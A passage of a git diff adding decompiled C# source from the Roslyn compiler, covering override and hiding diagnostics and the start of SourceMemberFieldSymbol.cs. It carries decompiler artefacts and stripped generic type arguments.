bindingDiagnosticBag2.Add((DiagnosticInfo?)(object)featureAvailabilityDiagnosticInfo2, firstLocation3); + } + } + else + { + bindingDiagnosticBag2.Add(ErrorCode.ERR_CantChangeTypeOnOverride, firstLocation3, symbol2, overriddenMember, typeWithAnnotations4.Type); + } + } + reference2 = true; + } + else + { + if ((object)overridingProperty.GetMethod != null) + { + MethodSymbol ownOrInheritedGetMethod = propertySymbol4.GetOwnOrInheritedGetMethod(); + checkValidMethodOverride(overridingProperty.GetMethod.GetFirstLocation(), ownOrInheritedGetMethod, overridingProperty.GetMethod, bindingDiagnosticBag2, checkReturnType: true, (object)overridingProperty.SetMethod == null || ownOrInheritedGetMethod?.AssociatedSymbol != propertySymbol4 || propertySymbol4.GetOwnOrInheritedSetMethod()?.AssociatedSymbol != propertySymbol4); + } + if ((object)overridingProperty.SetMethod != null) + { + MethodSymbol ownOrInheritedSetMethod = propertySymbol4.GetOwnOrInheritedSetMethod(); + checkValidMethodOverride(overridingProperty.SetMethod.GetFirstLocation(), ownOrInheritedSetMethod, overridingProperty.SetMethod, bindingDiagnosticBag2, checkReturnType: false, checkParameters: true); + if ((object)ownOrInheritedSetMethod != null && overridingProperty.SetMethod.IsInitOnly != ownOrInheritedSetMethod.IsInitOnly) + { + bindingDiagnosticBag2.Add(ErrorCode.ERR_CantChangeInitOnlyOnOverride, firstLocation3, overridingProperty, propertySymbol4); + } + } + } + if (overridingProperty.IsSealed) + { + MethodSymbol ownOrInheritedGetMethod2 = overridingProperty.GetOwnOrInheritedGetMethod(); + CompoundUseSiteInfo useSiteInfo3 = default(CompoundUseSiteInfo); + useSiteInfo3._002Ector((BindingDiagnosticBag)(object)bindingDiagnosticBag2, overridingProperty.ContainingAssembly); + if (overridingProperty.GetMethod != ownOrInheritedGetMethod2 && !AccessCheck.IsSymbolAccessible(ownOrInheritedGetMethod2, containingType2, ref useSiteInfo3)) + { + bindingDiagnosticBag2.Add(ErrorCode.ERR_NoGetToOverride, firstLocation3, overridingProperty, propertySymbol4); + } + MethodSymbol ownOrInheritedSetMethod2 = overridingProperty.GetOwnOrInheritedSetMethod(); + if (overridingProperty.SetMethod != ownOrInheritedSetMethod2 && !AccessCheck.IsSymbolAccessible(ownOrInheritedSetMethod2, containingType2, ref useSiteInfo3)) + { + bindingDiagnosticBag2.Add(ErrorCode.ERR_NoSetToOverride, firstLocation3, overridingProperty, propertySymbol4); + } + ((BindingDiagnosticBag)(object)bindingDiagnosticBag2).Add(firstLocation3, useSiteInfo3); + } + } + } + static void checkValidMethodOverride(Location overridingMemberLocation, MethodSymbol methodSymbol2, MethodSymbol overridingMethod, BindingDiagnosticBag diagnostics2, bool checkReturnType, bool checkParameters) + { + if (checkParameters && RequiresValidScopedOverrideForRefSafety(methodSymbol2)) + { + CheckValidScopedOverride(methodSymbol2, overridingMethod, diagnostics2, delegate(BindingDiagnosticBag bindingDiagnosticBag, MethodSymbol baseMethod, MethodSymbol overrideMethod, ParameterSymbol overridingParameter, bool _, Location location) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Expected O, but got Unknown + bindingDiagnosticBag.Add(ReportInvalidScopedOverrideAsError(baseMethod, overrideMethod) ? ErrorCode.ERR_ScopedMismatchInParameterOfOverrideOrImplementation : ErrorCode.WRN_ScopedMismatchInParameterOfOverrideOrImplementation, location, (object)new FormattedSymbol((ISymbolInternal)(object)overridingParameter, SymbolDisplayFormat.ShortFormat)); + }, overridingMemberLocation, allowVariance: true, invokedAsExtensionMethod: false); + } + CheckValidNullableMethodOverride(overridingMethod.DeclaringCompilation, methodSymbol2, overridingMethod, diagnostics2, checkReturnType ? ReportBadReturn : null, checkParameters ? ReportBadParameter : null, overridingMemberLocation); + if (checkParameters) + { + CheckRefReadonlyInMismatch(methodSymbol2, overridingMethod, diagnostics2, delegate(BindingDiagnosticBag bindingDiagnosticBag, MethodSymbol _, MethodSymbol _, ParameterSymbol overridingParameter, bool _, (ParameterSymbol BaseParameter, Location Arg) arg) + { + var (parameterSymbol, location) = arg; + bindingDiagnosticBag.Add(ErrorCode.WRN_OverridingDifferentRefness, location, overridingParameter, parameterSymbol); + }, overridingMemberLocation, invokedAsExtensionMethod: false); + } + } + } + + internal static bool IsOrContainsErrorType(TypeSymbol typeSymbol) + { + return (object)typeSymbol.VisitType((TypeSymbol currentTypeSymbol, object unused1, bool unused2) => currentTypeSymbol.IsErrorType(), null) != null; + } + + private bool IsValidOverrideReturnType(Symbol overridingSymbol, TypeWithAnnotations overridingReturnType, TypeWithAnnotations overriddenReturnType, BindingDiagnosticBag diagnostics) + { + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + if (overridingSymbol.ContainingAssembly.RuntimeSupportsCovariantReturnsOfClasses && DeclaringCompilation.LanguageVersion >= MessageID.IDS_FeatureCovariantReturnsForOverrides.RequiredVersion()) + { + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnostics, ContainingAssembly); + bool result = DeclaringCompilation.Conversions.HasIdentityOrImplicitReferenceConversion(overridingReturnType.Type, overriddenReturnType.Type, ref useSiteInfo); + Location val = overridingSymbol.TryGetFirstLocation(); + ((BindingDiagnosticBag)(object)diagnostics).Add(val, useSiteInfo); + return result; + } + return overridingReturnType.Equals(overriddenReturnType, (TypeCompareKind)63); + } + + internal static bool CheckValidNullableMethodOverride(CSharpCompilation compilation, MethodSymbol baseMethod, MethodSymbol overrideMethod, BindingDiagnosticBag diagnostics, ReportMismatchInReturnType reportMismatchInReturnType, ReportMismatchInParameterType reportMismatchInParameterType, TArg extraArgument, bool invokedAsExtensionMethod = false) + { + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_00db: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Invalid comparison between Unknown and I4 + //IL_016e: Unknown result type (might be due to invalid IL or missing references) + //IL_019d: Unknown result type (might be due to invalid IL or missing references) + if (!PerformValidNullableOverrideCheck(compilation, baseMethod, overrideMethod)) + { + return false; + } + bool result = false; + if ((baseMethod.FlowAnalysisAnnotations & FlowAnalysisAnnotations.DoesNotReturn) == FlowAnalysisAnnotations.DoesNotReturn && (overrideMethod.FlowAnalysisAnnotations & FlowAnalysisAnnotations.DoesNotReturn) != FlowAnalysisAnnotations.DoesNotReturn) + { + diagnostics.Add(ErrorCode.WRN_DoesNotReturnMismatch, overrideMethod.GetFirstLocation(), (object)new FormattedSymbol((ISymbolInternal)(object)overrideMethod, SymbolDisplayFormat.MinimallyQualifiedFormat)); + result = true; + } + Conversions conversions = compilation.Conversions.WithNullability(includeNullability: true); + ImmutableArray baseParameters = baseMethod.Parameters; + ImmutableArray overrideParameters = overrideMethod.Parameters; + int overrideParameterOffset = (invokedAsExtensionMethod ? 1 : 0); + if (reportMismatchInReturnType != null) + { + TypeWithAnnotations overridingType = getNotNullIfNotNullOutputType(overrideMethod.ReturnTypeWithAnnotations, overrideMethod.ReturnNotNullIfParameterNotNull); + if (!isValidNullableConversion(conversions, overrideMethod.RefKind, overridingType.Type, baseMethod.ReturnTypeWithAnnotations.Type)) + { + reportMismatchInReturnType(diagnostics, baseMethod, overrideMethod, topLevel: false, extraArgument); + return true; + } + if (!NullableWalker.AreParameterAnnotationsCompatible((RefKind)(((int)overrideMethod.RefKind == 1) ? 1 : 2), baseMethod.ReturnTypeWithAnnotations, baseMethod.ReturnTypeFlowAnalysisAnnotations, overridingType, overrideMethod.ReturnTypeFlowAnalysisAnnotations)) + { + reportMismatchInReturnType(diagnostics, baseMethod, overrideMethod, topLevel: true, extraArgument); + return true; + } + } + if (reportMismatchInParameterType != null) + { + for (int i = 0; i < baseParameters.Length; i++) + { + ParameterSymbol parameterSymbol = baseParameters[i]; + TypeWithAnnotations typeWithAnnotations = parameterSymbol.TypeWithAnnotations; + int index = i + overrideParameterOffset; + ParameterSymbol parameterSymbol2 = overrideParameters[index]; + TypeWithAnnotations overridingType2 = getNotNullIfNotNullOutputType(parameterSymbol2.TypeWithAnnotations, parameterSymbol2.NotNullIfParameterNotNull); + if (!isValidNullableConversion(conversions, parameterSymbol2.RefKind, typeWithAnnotations.Type, overridingType2.Type)) + { + reportMismatchInParameterType(diagnostics, baseMethod, overrideMethod, parameterSymbol2, topLevel: false, extraArgument); + result = true; + } + else if (!NullableWalker.AreParameterAnnotationsCompatible(parameterSymbol2.RefKind, typeWithAnnotations, parameterSymbol.FlowAnalysisAnnotations, overridingType2, parameterSymbol2.FlowAnalysisAnnotations)) + { + reportMismatchInParameterType(diagnostics, baseMethod, overrideMethod, parameterSymbol2, topLevel: true, extraArgument); + result = true; + } + } + } + return result; + TypeWithAnnotations getNotNullIfNotNullOutputType(TypeWithAnnotations outputType, ImmutableHashSet notNullIfParameterNotNull) + { + if (!notNullIfParameterNotNull.IsEmpty) + { + for (int j = 0; j < baseParameters.Length; j++) + { + ParameterSymbol parameterSymbol3 = overrideParameters[j + overrideParameterOffset]; + ParameterSymbol parameterSymbol4 = baseParameters[j]; + if (notNullIfParameterNotNull.Contains(parameterSymbol3.Name) && NullableWalker.GetParameterState(parameterSymbol4.TypeWithAnnotations, parameterSymbol4.FlowAnalysisAnnotations).IsNotNull) + { + return outputType.AsNotAnnotated(); + } + } + } + return outputType; + } + static bool isValidNullableConversion(ConversionsBase conversionsBase, RefKind refKind, TypeSymbol sourceType, TypeSymbol targetType) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Invalid comparison between Unknown and I4 + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Invalid comparison between Unknown and I4 + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + if ((int)refKind == 1) + { + return sourceType.Equals(targetType, (TypeCompareKind)55); + } + if ((int)refKind == 2) + { + TypeSymbol typeSymbol = targetType; + targetType = sourceType; + sourceType = typeSymbol; + } + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + return conversionsBase.ClassifyImplicitConversionFromType(sourceType, targetType, ref useSiteInfo).Kind != ConversionKind.NoConversion; + } + } + + internal static bool RequiresValidScopedOverrideForRefSafety(MethodSymbol? method) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Invalid comparison between Unknown and I4 + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Invalid comparison between Unknown and I4 + if ((object)method == null) + { + return false; + } + ImmutableArray parameters = method.Parameters; + bool flag = method.ReturnType.IsRefLikeType; + if (!flag) + { + RefKind refKind = method.RefKind; + bool flag2 = (((int)refKind == 1 || (int)refKind == 3) ? true : false); + flag = flag2; + } + int num; + if (flag) + { + num = 1; + } + else + { + if (!parameters.Any(delegate(ParameterSymbol p) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + RefKind refKind2 = p.RefKind; + return refKind2 - 1 <= 1 && p.Type.IsRefLikeType; + })) + { + return false; + } + num = 2; + } + if (ImmutableArrayExtensions.Count(parameters, (Func)delegate(ParameterSymbol p) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + RefKind refKind2 = p.RefKind; + return refKind2 - 1 <= 3; + }) >= num) + { + return true; + } + if (parameters.Any((ParameterSymbol p) => (int)p.RefKind == 0 && p.Type.IsRefLikeType)) + { + return true; + } + return false; + } + + internal static bool ReportInvalidScopedOverrideAsError(MethodSymbol baseMethod, MethodSymbol overrideMethod) + { + if (baseMethod.UseUpdatedEscapeRules) + { + return overrideMethod.UseUpdatedEscapeRules; + } + return false; + } + + internal static bool CheckValidScopedOverride(MethodSymbol? baseMethod, MethodSymbol? overrideMethod, BindingDiagnosticBag diagnostics, ReportMismatchInParameterType reportMismatchInParameterType, TArg extraArgument, bool allowVariance, bool invokedAsExtensionMethod) + { + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + if ((object)baseMethod == null || (object)overrideMethod == null) + { + return false; + } + bool result = false; + ImmutableArray parameters = baseMethod.Parameters; + ImmutableArray parameters2 = overrideMethod.Parameters; + int num = (invokedAsExtensionMethod ? 1 : 0); + for (int i = 0; i < parameters.Length; i++) + { + ParameterSymbol parameterSymbol = parameters[i]; + ParameterSymbol parameterSymbol2 = parameters2[i + num]; + if (!isValidScopedConversion(allowVariance, parameterSymbol.EffectiveScope, parameterSymbol.HasUnscopedRefAttribute, parameterSymbol2.EffectiveScope, parameterSymbol2.HasUnscopedRefAttribute)) + { + reportMismatchInParameterType(diagnostics, baseMethod, overrideMethod, parameterSymbol2, topLevel: true, extraArgument); + result = true; + } + } + return result; + static bool isValidScopedConversion(bool flag, ScopedKind baseScope, bool baseHasUnscopedRefAttribute, ScopedKind overrideScope, bool overrideHasUnscopedRefAttribute) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Invalid comparison between Unknown and I4 + if (baseScope == overrideScope) + { + if (baseHasUnscopedRefAttribute == overrideHasUnscopedRefAttribute) + { + return true; + } + if (flag) + { + return !overrideHasUnscopedRefAttribute; + } + return false; + } + if (flag) + { + return (int)baseScope == 0; + } + return false; + } + } + + internal static void CheckRefReadonlyInMismatch(MethodSymbol? baseMethod, MethodSymbol? overrideMethod, BindingDiagnosticBag diagnostics, ReportMismatchInParameterType<(ParameterSymbol BaseParameter, TArg Arg)> reportMismatchInParameterType, TArg extraArgument, bool invokedAsExtensionMethod) + { + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + if ((object)baseMethod == null || (object)overrideMethod == null) + { + return; + } + ImmutableArray parameters = baseMethod.Parameters; + ImmutableArray parameters2 = overrideMethod.Parameters; + int num = (invokedAsExtensionMethod ? 1 : 0); + for (int i = 0; i < parameters.Length; i++) + { + ParameterSymbol parameterSymbol = parameters[i]; + ParameterSymbol parameterSymbol2 = parameters2[i + num]; + if (parameterSymbol.RefKind != parameterSymbol2.RefKind) + { + reportMismatchInParameterType(diagnostics, baseMethod, overrideMethod, parameterSymbol2, topLevel: true, (parameterSymbol, extraArgument)); + } + } + } + + private static bool PerformValidNullableOverrideCheck(CSharpCompilation compilation, Symbol overriddenMember, Symbol overridingMember) + { + if ((object)overriddenMember != null && (object)overridingMember != null && compilation != null) + { + return compilation.IsFeatureEnabled(MessageID.IDS_FeatureNullableReferenceTypes); + } + return false; + } + + internal static void CheckValidNullableEventOverride(CSharpCompilation compilation, EventSymbol overriddenEvent, EventSymbol overridingEvent, BindingDiagnosticBag diagnostics, Action reportMismatch, TArg extraArgument) + { + if (PerformValidNullableOverrideCheck(compilation, overriddenEvent, overridingEvent) && !compilation.Conversions.WithNullability(includeNullability: true).HasAnyNullabilityImplicitConversion(overriddenEvent.TypeWithAnnotations, overridingEvent.TypeWithAnnotations)) + { + reportMismatch(diagnostics, overriddenEvent, overridingEvent, extraArgument); + } + } + + private static void CheckNonOverrideMember(Symbol hidingMember, bool hidingMemberIsNew, OverriddenOrHiddenMembersResult overriddenOrHiddenMembers, BindingDiagnosticBag diagnostics, out bool suppressAccessors) + { + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + suppressAccessors = false; + Location firstLocation = hidingMember.GetFirstLocation(); + ImmutableArray hiddenMembers = overriddenOrHiddenMembers.HiddenMembers; + if (hiddenMembers.Length == 0) + { + if (hidingMemberIsNew && !hidingMember.IsAccessor()) + { + diagnostics.Add(ErrorCode.WRN_NewNotRequired, firstLocation, hidingMember); + } + return; + } + bool flag = false; + if (!hidingMember.ContainingType.IsInterface) + { + ImmutableArray.Enumerator enumerator = hiddenMembers.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + flag |= AddHidingAbstractDiagnostic(hidingMember, firstLocation, current, diagnostics, ref suppressAccessors); + if (!hidingMemberIsNew && current.Kind == hidingMember.Kind && !hidingMember.IsAccessor() && (current.IsAbstract || current.IsVirtual || current.IsOverride) && !IsShadowingSynthesizedRecordMember(hidingMember)) + { + diagnostics.Add(ErrorCode.WRN_NewOrOverrideExpected, firstLocation, hidingMember, current); + flag = true; + } + if (current.IsRequired()) + { + diagnostics.Add(ErrorCode.ERR_RequiredMemberCannotBeHidden, firstLocation, current, hidingMember); + flag = true; + } + if (flag) + { + break; + } + } + } + if (!hidingMemberIsNew && !IsShadowingSynthesizedRecordMember(hidingMember) && !flag && !hidingMember.IsAccessor() && !hidingMember.IsOperator()) + { + diagnostics.Add(ErrorCode.WRN_NewRequired, firstLocation, hidingMember, hiddenMembers[0]); + } + if (hidingMember is MethodSymbol overrideMethod && hiddenMembers[0] is MethodSymbol baseMethod) + { + CheckRefReadonlyInMismatch(baseMethod, overrideMethod, diagnostics, delegate(BindingDiagnosticBag bindingDiagnosticBag, MethodSymbol _, MethodSymbol _, ParameterSymbol hidingParameter, bool _, (ParameterSymbol BaseParameter, Location Arg) arg) + { + var (parameterSymbol, location) = arg; + bindingDiagnosticBag.Add(ErrorCode.WRN_HidingDifferentRefness, location, hidingParameter, parameterSymbol); + }, firstLocation, invokedAsExtensionMethod: false); + } + } + + private static bool IsShadowingSynthesizedRecordMember(Symbol hidingMember) + { + if (!(hidingMember is SynthesizedRecordEquals) && !(hidingMember is SynthesizedRecordDeconstruct)) + { + return hidingMember is SynthesizedRecordClone; + } + return true; + } + + private static bool AddHidingAbstractDiagnostic(Symbol hidingMember, Location hidingMemberLocation, Symbol hiddenMember, BindingDiagnosticBag diagnostics, ref bool suppressAccessors) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Expected I4, but got Unknown + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Invalid comparison between Unknown and I4 + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Invalid comparison between Unknown and I4 + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Invalid comparison between Unknown and I4 + SymbolKind kind = hiddenMember.Kind; + if ((int)kind != 5 && (int)kind != 9 && (int)kind != 15) + { + return false; + } + if (!hiddenMember.IsAbstract || !hidingMember.ContainingType.IsAbstract) + { + return false; + } + Accessibility declaredAccessibility = hidingMember.DeclaredAccessibility; + switch (declaredAccessibility - 1) + { + case 2: + case 4: + case 5: + kind = hidingMember.Kind; + if ((int)kind == 5) + { + goto IL_009f; + } + if ((int)kind != 9) + { + if ((int)kind == 15) + { + goto IL_009f; + } + } + else + { + Symbol associatedSymbol = ((MethodSymbol)hidingMember).AssociatedSymbol; + if ((object)associatedSymbol != null) + { + diagnostics.Add(ErrorCode.ERR_HidingAbstractMethod, associatedSymbol.GetFirstLocation(), associatedSymbol, hiddenMember); + goto IL_00be; + } + } + goto IL_00a3; + default: + throw ExceptionUtilities.UnexpectedValue((object)hidingMember.DeclaredAccessibility); + case 0: + case 1: + case 3: + { + return false; + } + IL_00be: + return true; + IL_009f: + suppressAccessors = true; + goto IL_00a3; + IL_00a3: + diagnostics.Add(ErrorCode.ERR_HidingAbstractMethod, hidingMemberLocation, hidingMember, hiddenMember); + goto IL_00be; + } + } + + private static bool OverrideHasCorrectAccessibility(Symbol overridden, Symbol overriding) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Invalid comparison between Unknown and I4 + if (!overriding.ContainingAssembly.HasInternalAccessTo(overridden.ContainingAssembly) && (int)overridden.DeclaredAccessibility == 5) + { + return (int)overriding.DeclaredAccessibility == 3; + } + return overridden.DeclaredAccessibility == overriding.DeclaredAccessibility; + } + + private void CheckInterfaceUnification(BindingDiagnosticBag diagnostics) + { + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + if (!base.IsGenericType) + { + return; + } + int count = base.InterfacesAndTheirBaseInterfacesNoUseSiteDiagnostics.Count; + if (count < 2) + { + return; + } + NamedTypeSymbol[] array = base.InterfacesAndTheirBaseInterfacesNoUseSiteDiagnostics.Keys.ToArray(); + for (int i = 0; i < count; i++) + { + for (int j = i + 1; j < count; j++) + { + NamedTypeSymbol namedTypeSymbol = array[i]; + NamedTypeSymbol namedTypeSymbol2 = array[j]; + if (namedTypeSymbol.IsGenericType && namedTypeSymbol2.IsGenericType && TypeSymbol.Equals(namedTypeSymbol.OriginalDefinition, namedTypeSymbol2.OriginalDefinition, (TypeCompareKind)0) && namedTypeSymbol.CanUnifyWith(namedTypeSymbol2)) + { + TextSpan sourceSpan = GetImplementsLocationOrFallback(namedTypeSymbol).SourceSpan; + int start = ((TextSpan)(ref sourceSpan)).Start; + sourceSpan = GetImplementsLocationOrFallback(namedTypeSymbol2).SourceSpan; + if (start > ((TextSpan)(ref sourceSpan)).Start) + { + NamedTypeSymbol namedTypeSymbol3 = namedTypeSymbol; + namedTypeSymbol = namedTypeSymbol2; + namedTypeSymbol2 = namedTypeSymbol3; + } + diagnostics.Add(ErrorCode.ERR_UnifyingInterfaceInstantiations, GetFirstLocation(), this, namedTypeSymbol, namedTypeSymbol2); + } + } + } + } + + private (SynthesizedExplicitImplementationForwardingMethod? ForwardingMethod, (MethodSymbol Body, MethodSymbol Implemented)? MethodImpl) SynthesizeInterfaceMemberImplementation(SymbolAndDiagnostics implementingMemberAndDiagnostics, Symbol interfaceMember) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Invalid comparison between Unknown and I4 + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Invalid comparison between Unknown and I4 + ImmutableArray.Enumerator enumerator = implementingMemberAndDiagnostics.Diagnostics.Diagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + Diagnostic current = enumerator.Current; + bool flag = (int)current.Severity == 3; + if (flag) + { + int code = current.Code; + bool flag2 = ((code == 8704 || code == 9044) ? true : false); + flag = !flag2; + } + if (flag) + { + return default((SynthesizedExplicitImplementationForwardingMethod, (MethodSymbol, MethodSymbol)?)); + } + } + Symbol symbol = implementingMemberAndDiagnostics.Symbol; + if ((object)symbol == null || (int)symbol.Kind != 9) + { + return default((SynthesizedExplicitImplementationForwardingMethod, (MethodSymbol, MethodSymbol)?)); + } + MethodSymbol methodSymbol = (MethodSymbol)interfaceMember; + MethodSymbol methodSymbol2 = (MethodSymbol)symbol; + if (IReadOnlyListExtensions.Contains((IReadOnlyList)methodSymbol2.ExplicitInterfaceImplementations, (Symbol)methodSymbol, (IEqualityComparer)ExplicitInterfaceImplementationTargetMemberEqualityComparer.Instance)) + { + return default((SynthesizedExplicitImplementationForwardingMethod, (MethodSymbol, MethodSymbol)?)); + } + if (!methodSymbol.IsStatic) + { + MethodSymbol originalDefinition = methodSymbol2.OriginalDefinition; + bool flag3 = true; + if (MemberSignatureComparer.RuntimeImplicitImplementationComparer.Equals(methodSymbol2, methodSymbol) && IsOverrideOfPossibleImplementationUnderRuntimeRules(methodSymbol2, methodSymbol.ContainingType)) + { + if ((object)ContainingModule == originalDefinition.ContainingModule) + { + if (originalDefinition is SourceMemberMethodSymbol sourceMemberMethodSymbol) + { + sourceMemberMethodSymbol.EnsureMetadataVirtual(); + flag3 = false; + } + } + else if (methodSymbol2.IsMetadataVirtual(ignoreInterfaceImplementationChanges: true)) + { + flag3 = false; + } + } + if (!flag3) + { + return default((SynthesizedExplicitImplementationForwardingMethod, (MethodSymbol, MethodSymbol)?)); + } + } + else if ((object)methodSymbol2.ContainingType != this) + { + if (methodSymbol2.ContainingType.IsInterface || methodSymbol2.Equals(BaseTypeNoUseSiteDiagnostics?.FindImplementationForInterfaceMemberInNonInterfaceWithDiagnostics(methodSymbol).Symbol, (TypeCompareKind)62)) + { + return default((SynthesizedExplicitImplementationForwardingMethod, (MethodSymbol, MethodSymbol)?)); + } + } + else if (MemberSignatureComparer.RuntimeExplicitImplementationSignatureComparer.Equals(methodSymbol2, methodSymbol)) + { + return (ForwardingMethod: null, MethodImpl: (methodSymbol2, methodSymbol)); + } + return (ForwardingMethod: new SynthesizedExplicitImplementationForwardingMethod(methodSymbol, methodSymbol2, this), MethodImpl: null); + } + + private static bool IsPossibleImplementationUnderRuntimeRules(MethodSymbol implementingMethod, NamedTypeSymbol @interface) + { + NamedTypeSymbol containingType = implementingMethod.ContainingType; + if (containingType.InterfacesAndTheirBaseInterfacesNoUseSiteDiagnostics.ContainsKey(@interface)) + { + return true; + } + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = containingType.BaseTypeNoUseSiteDiagnostics; + if ((object)baseTypeNoUseSiteDiagnostics != null) + { + return !baseTypeNoUseSiteDiagnostics.AllInterfacesNoUseSiteDiagnostics.Contains(@interface); + } + return true; + } + + private static bool IsOverrideOfPossibleImplementationUnderRuntimeRules(MethodSymbol implementingMethod, NamedTypeSymbol @interface) + { + MethodSymbol methodSymbol = implementingMethod; + while ((object)methodSymbol != null) + { + if (IsPossibleImplementationUnderRuntimeRules(methodSymbol, @interface)) + { + return true; + } + methodSymbol = methodSymbol.OverriddenMethod; + } + return false; + } + + internal sealed override ImmutableArray GetInterfacesToEmit() + { + return CalculateInterfacesToEmit(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceMemberFieldSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceMemberFieldSymbol.cs new file mode 100644 index 0000000..dac5d6a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceMemberFieldSymbol.cs @@ -0,0 +1,253 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SourceMemberFieldSymbol : SourceFieldSymbolWithSyntaxReference +{ + private readonly DeclarationModifiers _modifiers; + + protected sealed override DeclarationModifiers Modifiers => _modifiers; + + protected abstract TypeSyntax TypeSyntax { get; } + + protected abstract SyntaxTokenList ModifiersTokenList { get; } + + public abstract bool HasInitializer { get; } + + public override Symbol AssociatedSymbol => null; + + public override int FixedSize + { + get + { + state.NotePartComplete(CompletionPart.Members); + return 0; + } + } + + internal SourceMemberFieldSymbol(SourceMemberContainerTypeSymbol containingType, DeclarationModifiers modifiers, string name, SyntaxReference syntax, TextSpan locationSpan) + : base(containingType, name, syntax, locationSpan) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + _modifiers = modifiers; + } + + protected void TypeChecks(TypeSymbol type, BindingDiagnosticBag diagnostics) + { + //IL_020b: Unknown result type (might be due to invalid IL or missing references) + //IL_0143: Unknown result type (might be due to invalid IL or missing references) + //IL_014a: Unknown result type (might be due to invalid IL or missing references) + //IL_014f: Unknown result type (might be due to invalid IL or missing references) + //IL_0152: Unknown result type (might be due to invalid IL or missing references) + //IL_0157: Unknown result type (might be due to invalid IL or missing references) + //IL_015c: Unknown result type (might be due to invalid IL or missing references) + //IL_0161: Unknown result type (might be due to invalid IL or missing references) + //IL_0163: Unknown result type (might be due to invalid IL or missing references) + //IL_0171: Unknown result type (might be due to invalid IL or missing references) + //IL_0173: Unknown result type (might be due to invalid IL or missing references) + if (type.HasFileLocalTypes() && !ContainingType.HasFileLocalTypes()) + { + diagnostics.Add(ErrorCode.ERR_FileTypeDisallowedInSignature, ErrorLocation, type, ContainingType); + } + else if (type.IsStatic) + { + diagnostics.Add(ErrorCode.ERR_VarDeclIsStaticClass, ErrorLocation, type); + } + else if (type.IsVoidType()) + { + TypeSyntax typeSyntax = TypeSyntax; + diagnostics.Add(ErrorCode.ERR_FieldCantHaveVoidType, ((typeSyntax != null) ? 